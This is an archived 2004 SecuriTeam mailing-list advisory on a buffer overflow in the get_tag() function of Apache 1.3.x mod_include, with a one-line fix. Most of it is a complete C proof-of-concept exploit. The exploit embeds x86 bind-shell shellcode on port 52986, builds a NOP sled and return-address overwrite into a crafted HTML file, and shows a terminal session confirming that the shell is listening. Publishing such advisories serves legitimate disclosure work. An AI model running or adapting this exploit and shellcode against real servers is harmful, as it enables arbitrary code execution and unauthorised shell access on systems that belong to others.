

[UNIX] Apache Mod_include Local Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-10/0080.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/25/04

To: list@securiteam.com

Date: 25 Oct 2004 10:38:04 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Apache Mod_include Local Buffer Overflow

SUMMARY

Mod_include is one of Apache's standard modules which allows users to use some features in their HTML pages such as include files, exec commands, echo, etc.

A buffer overflow exists within mod_include can lead to code execution when parsing HTML tags.

DETAILS

Vulnerable Systems:

* Apache with mod_include versions 1.3.x

The overflow exists in the get_tag() function in mod_include.c:
static char *get_tag(pool *p, FILE *in, char *tag, int tagbuf_len, int dodecode)

```
{  
..  
    term = c;  
    while (1) {  
        GET_CHAR(in, c, NULL, p);  
[1] if (t - tag == tagbuf_len) {
```

Securiteam: [UNIX] Apache Mod_include Local Buffer Overflow

```
        *t = '\0';
        return NULL;
    }
/* Want to accept \" as a valid character within a string. */
    if (c == '\\') {
[2] *(t++) = c; /* Add backslash */
        GET_CHAR(in, c, NULL, p);
        if (c == term) { /* Only if */
[3] *(--t) = c; /* Replace backslash ONLY for
terminator */
        }
    }
    else if (c == term) {
        break;
    }
[4] *(t++) = c;
    }
    *t = '\0';
..
}
```

The first check (labeled [1]) is used to find the end of the tag buffer. However, the check could be skipped if conditions [2] and [4] are met at the same time condition [3] is not. Thus, an attacker is able to craft a malformed HTML file that overwrites a static buffer causing arbitrary code execution to occur with privileges of the HTTP server child process.

Workaround

For those wishing to fix the problem in mod_include, the following line should be changed from:

```
if (t - tag == tagbuf_len) {
to
if (t - tag >= tagbuf_len-1) {
```

In the get_tag() function. Following is a proof of concept exploit for the vulnerability.

Proof Of Concept

```
*****
local exploit for mod_include of apache 1.3.x
*
written by xCrZx /18.10.2004/
*
bug found by xCrZx /18.10.2004/
*
*
y0das old shao lin techniq ownz u :) remember my words
*
http://lbyte.ru/16-masta\_killa-16-mastakilla-mad.mp3
*
```

Securiteam: [UNIX] Apache Mod_include Local Buffer Overflow

```
*
Successfully tested on apache 1.3.31 under Linux RH9.0(Shrike)
*
*****/

/******
Technical Details:
*

*
there is an overflow in get_tag function:
*

*
static char *get_tag(pool *p, FILE *in, char *tag, int tagbuf_len, int
dodecode) *
{
*
..
*
term = c;
*
while (1) {
*
GET_CHAR(in, c, NULL, p);
*
[1] if (t - tag == tagbuf_len) {
*
*t = '\0';
*
return NULL;
*
}
*
// Want to accept \" as a valid character within a string. //
*
if (c == '\\') {
*
[2] *(t++) = c; // Add backslash //
*
GET_CHAR(in, c, NULL, p);
*
if (c == term) { // Only if //
*
[3] *(--t) = c; // Replace backslash ONLY for
terminator // *
}
*
}
*
}
```

Securiteam: [UNIX] Apache Mod_include Local Buffer Overflow

```
    else if (c == term) {
    *
        break;
    *
    }
    *
[4] *(t++) = c;
    *
    }
    *
    *t = '\0';
    *
..
    *
```

as we can see there is a [1] check to determine the end of tag buffer

but this check can be skipped when [2] & [4] conditions will be occurred

at the same time without [3] condition.

So attacker can create malicious file to overflow static buffer, on

which tag points out and execute arbitrary code with privileges of

httpd child process.

Fix:

```
[1*] if (t - tag >= tagbuf_len-1) {
    *
```

Notes: To activate mod_include you need write "XBitHack on" in httpd.conf

```
*****/
```

```
/******
```

Example of work:

```
[root@blacksand htdocs]# make 85mod_include
    *
```

Securiteam: [UNIX] Apache Mod_include Local Buffer Overflow

```
cc 85mod_include.c -o 85mod_include
*
[root@blacksand htdocs]# ./85mod_include 0xbfff8196 > evil.html
*
[root@blacksand htdocs]# chmod +x evil.html
*
[root@blacksand htdocs]# netstat -na|grep 52986
*
[root@blacksand htdocs]# telnet localhost 8080
*
Trying 127.0.0.1...
*
Connected to localhost.
*
Escape character is '^]'.
*
GET /evil.html HTTP/1.0
*
^]
*
telnet> q
*
Connection closed.
*
[root@blacksand htdocs]# netstat -na|grep 52986
*
tcp 0 0 0.0.0.0:52986 0.0.0.0:*
LISTEN *
[root@blacksand htdocs]#
*
*****/
/******
Notes: ha1fsatan – ti 4elovek–kakashka :))) be co0l as always
*
*****/
/******
Personal hello to my parents :)
*
*****/
/******
Public shoutz to: m00 security, ech0 :), LByte, 0xbadc0ded and otherz
*
*****/

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
```

Securiteam: [UNIX] Apache Mod_include Local Buffer Overflow

```
#define EVILBUF 8202
#define HTMLTEXT 1000

#define HTML_FORMAT "<html>\n<!--#echo done=\"%s\" -->\nxCrZx Own
U\n</html>"

#define AUTHOR "\n*** local exploit for mod_include of apache 1.3.x by
xCrZx /18.10.2004/ ***\n"

int main(int argc, char **argv) {

    char html[EVILBUF+HTMLTEXT];
    char evilbuf[EVILBUF+1];

    //can be changed
    char shellcode[] =

// bind shell on 52986 port
"\x31\xc0"
"\x31\xdb\x53\x43\x53\x89\xd8\x40\x50\x89\xe1\xb0\x66\xcd\x80\x43"
"\x66\xc7\x44\x24\x02\xce\xfa\xd1\x6c\x24\x04\x6a\x10\x51\x50\x89"
"\xe1\xb0\x66\xcd\x80\x43\x43\xb0\x66\xcd\x80\x43\x89\x61\x08\xb0"
"\x66\xcd\x80\x93\x31\xc9\xb1\x03\x49\xb0\x3f\xcd\x80\x75\xf9\x68"
"\x2f\x73\x68\x20\x68\x2f\x62\x69\x6e\x88\x4c\x24\x07\x89\xe3\x51"
"\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

//execve /tmp/sh <- your own program
/*
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/tmp/sh";
*/

    char NOP[] = "\x90\x40"; // special nops ;)
    char evilpad[] = "\\CRZCRZCRZCRZC"; // trick ;)

    int padding,xpad=0;
    int i,fd;
    long ret=0xbfff8688;

    if(argc>1) ret=strtoul(argv[1],0,16);
    else { fprintf(stderr,AUTHOR"\nUsage: %s <RET ADDR> >
file.html\n\n",argv[0]);exit(0); }

    padding=(EVILBUF-1-strlen(shellcode)-4-strlen(evilpad)+2);

    while(1) {
        if(padding%2==0) { padding/=2; break;}
```

Securiteam: [UNIX] Apache Mod_include Local Buffer Overflow

```
    else {padding--;xpad++;}
}

memset(html,0x0,sizeof html);
memset(evilbuf,0x0,sizeof evilbuf);

for(i=0;i<padding;i++)
    memcpy(evilbuf+strlen(evilbuf),&NOP,2);
for(i=0;i<xpad;i++)

memcpy(evilbuf+strlen(evilbuf),(evilbuf[strlen(evilbuf)-1]==NOP[1])?(&NOP[0]):(&NOP[1]),1);

    memcpy(evilbuf+strlen(evilbuf),&shellcode,sizeof shellcode);
    memcpy(evilbuf+strlen(evilbuf),&evilpad,sizeof evilpad);
    *(long*)&evilbuf[strlen(evilbuf)]=ret;

    sprintf(html,HTML_FORMAT,evilbuf);

    printf("%s",html);

    return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:crazy_einstein@yahoo.com>
Crazy Einstein.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.